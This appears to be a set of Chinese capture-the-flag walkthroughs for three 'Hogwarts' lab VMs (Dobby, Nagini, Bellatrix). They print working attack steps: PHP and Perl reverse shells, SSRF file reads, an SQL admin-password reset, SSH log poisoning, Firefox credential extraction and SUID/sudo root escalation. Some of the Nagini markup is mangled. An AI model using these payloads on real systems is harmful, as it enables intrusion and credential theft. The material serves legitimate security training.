Hogwarts Dobby

HOGWARTS: DOBBY

一、基本信息

名称:Hogwarts: Dobby

发布日期:2020.11.8

作者:BLY

系列:Hogwarts

推特:@BertrandLorent9

二、靶机简介

Flags:

root:/root/proof.txt

难度:简单

三、文件信息

文件名:dobby.ova

文件大小:3.7GB

下载地址:

MD5: 11B9FD40B70344A71B432A608EE640AB

SHA1: 68110B92FD58D6A4C8F0CDBE169E29259AC797A6

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机dobby和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了80端口,访问主页,还是apache的默认页,但源码有路径提示:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.126 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,/log目录值得关注一下:

1
gobuster dir -u http://192.168.56.126 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

网页发现

1.访问/alohomora目录,发现Draco用户的密码提示:

image-

2.访问/log目录,发现直接提示了一个密码和路径:

image-

3.继续访问/DiagonAlley,发现一串brainfuck编码,且这个页面是用wordpress搭建的:

image-

4.将brainfuck字串解码,但解出来是乱码:

image-

Wordpress后台登录,写入shell

1.再从wordpress入手,用wpscan进行扫描,但没有过多问题:

1
wpscan --url http://192.168.56.126/DiagonAlley --detection-mode aggressive

image-

2.进入wp-login.php后台页,我们有用户draco,而提示他的马的名字slytherin就是密码:

image-

3.进入wordpress后台后,对kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php进行ip及端口修改,在Apariencia-Editor de temas-Error 404页写入:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

4.在kali开启对应端口监听,访问/DiagonAlley目录下不存在页即可触发shell,再利用python构建交互式shell:

1
2
3
nc -lvnp 9001

python3 -c 'import pty; pty.spawn("/bin/bash");'

image-

image-

root提权

1.查找有suid的文件,发现find:

1
find / -perm -u=s -type f 2>/dev/null | grep usr/bin

image-

2.利用find可以直接提权到root:

1
find . -exec /bin/sh -p \; -quit

image-

Flag获取

1.现在我们在/root目录下能够发现flag,即proof.txt:

1
2
3
cd /root
ls -la
vi proof.txt

image-

Hogwarts Nagini

HarryPotter:Nagini

一、基本信息

名称:Hogwarts: Nagini

发布日期:2021.4.29

作者:Mansoor R

系列:Hogwarts

推特:@time4ster

二、靶机简介

Flags:

www-data:/var/www/html/horcrux1.txt
hermoine:/root/horcrux2.txt
root:/root/horcrux3.txt

难度:困难

三、文件信息

文件名:Nagini.ova

文件大小:741MB

下载地址:

MD5: B6C8F47BFB2421D1F12B6C1A2C095088

SHA1: 5CF128C51A445434E216A8C5F4087D9ECFB96739

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Nagini和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页只有一张图片:

1
nmap -sC -A -p- 192.168.56.105,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现一个note.txt,可以去看看:

1
gobuster dir -u http://192.168.56.105 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt,目录扫描

image-

SSRF漏洞利用

1.直接访问192.168.56.105/note.txt,发现页面提示要使用http3,需要使用curl配置http3,把quic.nagini.hogwarts加入host,利用curl获取网页内容(curl配置http3见:https://github.com/curl/curl/blob/master/docs/HTTP3.md,配置好后无法链接可以将kali的网络配置暂时换为NAT):

image-

image-

image-

2.在用http3协议访问之后,我们根据提示可以去看internalResourceFeTcher.php这个文件,发现是一个可以利用的SSRF:

image-

1
curl 'http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=file:///etc/passwd',可以获取/etc/passwd目录下的内容

image-

数据库修改登录

1.我们可以利用cms的特性扫描joomla数据库所在目录,可以发现配置文件configuration.php,而这个配置文件告知了我们joomla库下一个无密码用户goblin:

1
curl 'http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=file:///var/www/html/joomla/configuration.php'

image-

2.接下来我们要使用Gopherus这个工具生成payload,进行sql注入类的操作,需要使用pip2:

1
2
3
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 -V

3.将Gopherus生成的payload拼接到http://192.168.56.105/internalResourceFeTcher.php?url=后面,我们已经知道goblin是无密码用户,则我们可使用update命令把新密码加给新加入的用户:

1
2
3
USE joomla; 
UPDATE joomla_users SET password=‘5f4dcc3b5aa765d61d8327deb882cf99’
WHERE email=‘site_admin@nagini.hogwarts’;

image-

4.现在可以使用site_admin用户,密码password登录/joomla/administrator:

image-

后台写入脚本,getshell

1.在后台Extensions栏Templates页,选择Protostar,选择newfile,创建一个php文件,php反弹代码如下:

image-

image-

image-
php```
'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); ?>

1
2
>
> 2.开启kali的对应端口监听,访问http://192.168.56.105/joomla/templates/protostar/rev.php,成功getshell,再利用python简历交互式shell:

nc -lvnp 1234
python3 -c “import pty;pty.spawn(‘/bin/bash’)”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
![image-](18.png)

### SSH登录,准备提权
1.首先在/var/www/html目录下有第一个flag,即horcrux1.txt,进行base64解密:

![image-](19.png)

2.然后在/home/hermoine目录下有第二个flag,即horcrux2.txt,但我们没有权限查看:

![image-](20.png)

![image-](21.png)

3.继续查看/home/snape目录,此目录下有一个.creds.txt文件,有一段base64编码,很可能就是snape用户ssh登录的密码:

![image-](22.png)

![image-](23.png)

4.登录snape后,我们可以将我们kali的ssh-keygen复制到snape的/home/hermoine目录下,并命名为authorized_keys,赋予权限,利用本就在hermoine目录下的su_cp执行,从而在kali上可以不使用密码ssh登录hermoine:

find / -perm -u=s 2>/dev/null

1
![image-](24.png)

Kali:
ssh-keygen
cat ~/.ssh/id_rsa.pub

snape:
vim /home/snape/authorized_keys
chmod 640 authorized_keys

1
![image-](25.png)

cd /home/hermoine/bin
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/

1
![image-](26.png)

Kali:
ssh hermoine@192.168.56.105 -i .ssh/id_rsa

1
2
3
4
5
6

5.这个时候我们就可以去/root目录下查看horcrux2.txt这个文件,同样是用base64解密:
![image-](27.png)

### root提权
1.我们可以在.mozilla/firefox/g2mhbq0o.default/目录下发现浏览器的登录信息,则考虑使用读取浏览器用户名和密码的工具firepwd,在hermoine开启一个http服务,传输要解密的文件给kali,可以爆出root的密码:

hermoine:
cd .mozilla/firefox/g2mhbq0o.default/
ls -al

1
![image-](28.png)

python3 -m http.server 9000
Kali:
unzip firepwd-master.zip,把firepwd下载到kali解压
cd firepwd-master
sudo pip install -r requirements.txt
pip3 install pycrypto
pip3 install pycryptodome
mkdir creds
cd creds
cp ~/Desktop/firepwd-master/firepwd.py ~/Desktop/firepwd-master/creds
wget http://192.168.56.105:9000//logins.json
wget http://192.168.56.105:9000//key4.db
python3 firepwd.py

```

image-

2.进行root登录,在/home目录下能找到最后一个flag,即horcrux3.txt:
image-

image-

Hogwarts Bellatrix

HOGWARTS: BELLATRIX

一、基本信息

名称:Hogwarts: Bellatrix

发布日期:2020.11.28

作者:BLY

系列:Hogwarts

推特:@BertrandLorent9

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:Bellatrix.ova

文件大小:4.1GB

下载地址:

MD5: E6D98D406CDF7641E4A966F16AFAF536

SHA1: 8389861C7F2B1626190844E31A2A1A4ADE385E06

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Bellatrix和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问主页,发现提示存在文件包含:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.127 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,没有太多值得关注的信息:

1
gobuster dir -u http://192.168.56.127 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

文件包含漏洞利用

1.在主页其实是提示了有ikilledsiriusblack.php这个文件,后面跟file参数存在文件包含漏洞:

1
http://192.168.56.127/ikilledsiriusblack.php?file=/etc/passwd

image-

2.利用文件包含漏洞,写入payload,获得shell:

1
http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log,可以查看SSH日志信息

image-

1
2
ssh '<?php system($_GET['cmd']);?>'@192.168.56.127,稍微污染SSH日志信息
http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=id,可以使用cmd命令

image-

image-

1
2
3
4
5
nc -lvnp 1234

http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=php+-r+'$sock%3dfsockopen("192.168.56.102",1234)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b',写入命令反弹shell

python3 -c 'import pty; pty.spawn("/bin/bash");'

image-

密码爆破,初步提权

1.我们可以在当前目录下发现一个被类似base编码了的目录,目录下有一个隐藏的字典文件:

1
2
3
4
ls -la
cd c2VjcmV0cw==
ls -la
cat .secret.dic

image-

2.而Swordofgryffindor内是lestrange用户与其密码hash:

1
cat Swordofgryffindor

image-

3.将密码字典复制与密码hash到kali本地,利用john进行爆破:

1
2
3
vim dic.txt
vim hash.txt
john --wordlist=dic.txt hash.txt

image-

4.可以登录到lestrange用户:

image-

root提权

1.利用sudo -l命令,查找可用文件,发现vim可以提权:

1
sudo -l

image-

2.直接写入,提权到root:

1
sudo -u root /usr/bin/vim -c ':!/bin/sh'

image-

Flag获取

1.现在我们在/root目录下能够发现flag,即proof.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-